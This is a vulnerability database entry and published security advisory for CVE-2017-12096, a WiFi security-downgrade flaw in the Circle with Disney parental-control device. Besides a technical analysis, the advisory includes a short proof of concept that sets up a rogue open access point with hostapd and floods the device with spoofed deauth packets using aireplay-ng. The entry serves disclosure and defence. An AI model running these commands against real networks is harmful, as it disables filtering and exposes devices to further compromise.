Vulnerabilities > CVE-2017-12096 - Authentication Bypass by Spoofing vulnerability in Meetcircle Circle With Disney Firmware 2.0.1

047910
CVSS 6.5 - MEDIUM
Attack vector
ADJACENT_NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
HIGH
low complexity
meetcircle
CWE-290

Summary

An exploitable vulnerability exists in the WiFi management of Circle with Disney. A crafted Access Point with the same name as the legitimate one can be used to make Circle connect to an untrusted network. An attacker needs to setup an Access Point reachable by the device and to send a series of spoofed "deauth" packets to trigger this vulnerability.

Vulnerable Configurations

Part Description Count
OS
Meetcircle
1
Hardware
Meetcircle
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Exploitation of Session Variables, Resource IDs and other Trusted Credentials
    Attacks on session IDs and resource IDs take advantage of the fact that some software accepts user input without verifying its authenticity. For example, a message queuing system that allows service requesters to post messages to its queue through an open channel (such as anonymous FTP), authorization is done through checking group or role membership contained in the posted message. However, there is no proof that the message itself, the information in the message (such group or role membership), or indeed the process that wrote the message to the queue are authentic and authorized to do so. Many server side processes are vulnerable to these attacks because the server to server communications have not been analyzed from a security perspective or the processes "trust" other systems because they are behind a firewall. In a similar way servers that use easy to guess or spoofable schemes for representing digital identity can also be vulnerable. Such systems frequently use schemes without cryptography and digital signatures (or with broken cryptography). Session IDs may be guessed due to insufficient randomness, poor protection (passed in the clear), lack of integrity (unsigned), or improperly correlation with access control policy enforcement points. Exposed configuration and properties files that contain system passwords, database connection strings, and such may also give an attacker an edge to identify these identifiers. The net result is that spoofing and impersonation is possible leading to an attacker's ability to break authentication, authorization, and audit controls on the system.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Creating a Rogue Certificate Authority Certificate
    An attacker exploits a weakness in the MD5 hash algorithm (weak collision resistance) to generate a certificate signing request (CSR) that contains collision blocks in the "to be signed" part. The attacker specially crafts two different, but valid X.509 certificates that when hashed with the MD5 algorithm would yield the same value. The attacker then sends the CSR for one of the certificates to the Certification Authority which uses the MD5 hashing algorithm. That request is completely valid and the Certificate Authority issues an X.509 certificate to the attacker which is signed with its private key. An attacker then takes that signed blob and inserts it into another X.509 certificate that the attacker generated. Due to the MD5 collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the attackers' second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority. To make the attack more interesting, the second certificate could be not just a regular certificate, but rather itself a signing certificate. Thus the attacker is able to start their own Certification Authority that is anchored in its root of trust in the legitimate Certification Authority that has signed the attackers' first X.509 certificate. If the original Certificate Authority was accepted by default by browsers, so will now the Certificate Authority set up by the attacker and of course any certificates that it signs. So the attacker is now able to generate any SSL certificates to impersonate any web server, and the user's browser will not issue any warning to the victim. This can be used to compromise HTTPS communications and other types of systems where PKI and X.509 certificates may be used (e.g., VPN, IPSec) .
  • Web Services API Signature Forgery Leveraging Hash Function Extension Weakness
    When web services require callees to authenticate, they sometimes issue a token / secret to the caller that the caller is to use to sign their web service calls. In one such scheme the caller when constructing a request would concatenate all of the parameters passed to the web service with the provided authentication token and then generate a hash of the concatenated string (e.g., MD5, SHA1, etc.). That hash then forms the signature that is passed to the web service which is used on the server side to verify the origin authenticity and integrity of the message. There is a practical attack against an authentication scheme of this nature that makes use of the hash function extension / padding weakness. Leveraging this weakness, an attacker, who does not know the secret token, is able to modify the parameters passed to the web service by generating their own call and still generate a legitimate signature hash. For instance, consider the message to be passed to the web service is M (this message includes the parameters passed to the web service concatenated with the secret token / key bytes). The message M is hashed and that hash is passed to the web service and is used for authentication. The attacker does not know M, but can see Hash (M) and Length (M). The attacker can then compute Hash (M || Padding (M) II M') for any M'. The attacker does not know the entire message M, specifically the attacker does not know the secret bytes, but that does not matter. The attacker is still able to sign their own message M' and make the called web service verify the integrity of the message without an error. Because of the iterative design of the hash function, it is possible, from only the hash of a message and its length, to compute the hash of longer messages that start with the initial message and include the padding required for the initial message to reach a multiple of 512 bits. It is important to note that the attack not limited to MD5 and will work just as well with another hash function like SHA1.
  • Signature Spoof
    An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.

Seebug

bulletinFamilyexploit
description### Summary An exploitable vulnerability exists in the WiFi management of Circle with Disney. A crafted Access Point with the same name as the legitimate one, can be used to make Circle connect to an untrusted network. An attacker needs to setup an Access Point reachable by the device and to send a series of spoofed "deauth" packets to trigger this vulnerability. ### Tested Versions Circle with Disney 2.0.1 ### Product URLs https://meetcircle.com/ ### CVSSv3 Score 6.5 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### CWE CWE-284: Improper Access Control ### Details Circle with Disney is a network device used to monitor internet use of children on a given network. Circle can connect to a home network either via WiFi or wired connection. When no cable connection is possible, Circle will switch to WiFi, which was set-up during the initial configuration. The monitor function `sub_40AD84` in the `configd` binary keeps track of the wired interface connectivity by reading the file `/sys/class/net/eth0/carrier` every second. If the ethernet cable is disconnected, the function switches to the WiFi interface by calling `sub_40A9D4`. At high level this function works as follow: ``` def sub_40A9D4(): ssid = conf_get("wifi/ssid") encryption = conf_get("wifi/encryption") key = conf_get("wifi/key") if !exists("/tmp/ap_list.out"): system("/mnt/shares/usr/bin/scripts/aplist_create.sh") # [1] (channel, security, hidden) = parse_ap_list(ssid) # [2] write_file("/tmp/wifi_ssid", ssid) write_file("/tmp/wifi_ssid_escaped", escape(ssid)) write_file("/tmp/wifi_password", key) system('/mnt/shares/usr/bin/scripts/restart_wifi.sh %s "%s" "%s" ' % \ # [3] (channel, security, hidden)) ``` Note that `conf_get` refers to the operation of retrieving an element from "configure.xml". In short, `sub_40A9D4` retrieves the configured SSID from "configure.xml", then using `parse_ap_list` (sub_40A640) [2] retrieves the current channel, security (WPA2, WEP or none) and whether the SSID is hidden or not, from a recent Access Point scan. These parameters are then passed to the `restart_wifi.sh` script [3]. `aplist_create.sh` [1] will be called to make sure that "ap_list.out" is filled with a list of existing Access Points. Its contents are shown below. ``` #!/bin/sh ifconfig ra0 up iwinfo ra0 scan > /tmp/ap_list.out # [4] ``` `iwinfo` [4] prints a list of Access Points detected by `ra0`, every entry has the following form: ``` Cell 01 - Address: 11:22:33:44:55:66 ESSID: "valid-ssid" Mode: Master Channel: 1 Signal: -22 dBm Quality: 70/70 Encryption: WPA2 PSK (CCMP) ``` What `parse_ap_list` [2] does is parsing each of these entries in "ap_list.out", for finding the expected SSID and returning its related "Encryption" and "Channel" values. At high level it works as follows: ``` def parse_ap_list(ssid): essid_str = 'ESSID: "%s"' % ssid ch_str = 'Channel: ' enc_str = ' Encryption: ' channel = '' encryption = '' aplist = open("/tmp/ap_list.out") for line in aplist.next(): # for each line in ap_list.out if essid_str not in line: continue # proceed only with expected SSID line = aplist.next() # get next line if ch_str in line: channel = str(int(line[line.index(ch_str) + len(ch_str):])) # extract integer after ch_str elif enc_str in line: encryption = line[line.index(enc_str) + len(enc_str):] # extract text after enc_str return (channel, encryption) ... ``` When calling `restart_wifi.sh` [3] the wireless interface tries to establish a connection to the configured Access Point. Its main function is to populate the configuration file in `/tmp/wpa_supplicant.conf` based on the parameters passed to it, and finally restart `wpa_supplicant`. When the `iwinfo` output for the configured Access Point contains the line "Encryption: WPA2 PSK (CCMP)", a generated `wpa_supplicant.conf` looks as follows: ``` ctrl_interface=/var/run/wpa_supplicant network={ ssid=P"homenet" bgscan="" psk=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ``` Whereas if the line contains "Encryption: none" the generated configuration will be: ``` ctrl_interface=/var/run/wpa_supplicant network={ ssid=P"homenet" bgscan="" key_mgmt=NONE ``` As we can see from the `parse_ap_list` logic, the only variable used to identify the configured Access Point is its ESSID, and the encryption defined in `configure.xml` is not taken into account. This way an attacker to setup a crafted Access Point with the same name as the legitimate one and to make Circle connect to it. The device will continue to function but won't be able to apply any filtering over the original network, moreover this allows an attacker to conduct further attacks against the device that may be possible only on a common subnetwork. As an example, this vulnerability would allow an external attacker to apply TALOS-2017-0396 and TALOS-2017-0371 to completely compromise the device. ### Exploit Proof-of-Concept The following proof of concept shows how to make the device to connect to a fake Access Point managed by an attacker. ``` $ cat << EOF > hostapd.conf interface=wlan0 channel=1 ssid2=P"$WIFI_ROUTER_SSID" EOF $ hostapd -B ./hostapd.conf $ airmon-ng start wlan0 1 $ aireplay-ng --deauth 10000 -a $WIFI_ROUTER_MAC -c $CIRCLE_MAC mon0 ``` First an Access Point is created with the same name of the legitimate Access Point to which Circle is currently connected to, but without encryption. Then, a series of spoofed "deauth" packets are sent to the device, so that Circle will drop the active connection. Circle will then rescan the available Access Points and should eventually connect to the attacker's one. ### Timeline * 2017-09-20 - Vendor Disclosure * 2017-10-31 - Public Release
idSSV:96830
last seen2017-11-19
modified2017-11-09
published2017-11-09
reporterRoot
titleCircle with Disney WiFi Security Downgrade Vulnerability(CVE-2017-12096)

Talos

idTALOS-2017-0448
last seen2019-05-29
published2017-10-31
reporterTalos Intelligence
sourcehttp://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0448
titleCircle with Disney WiFi Security Downgrade Vulnerability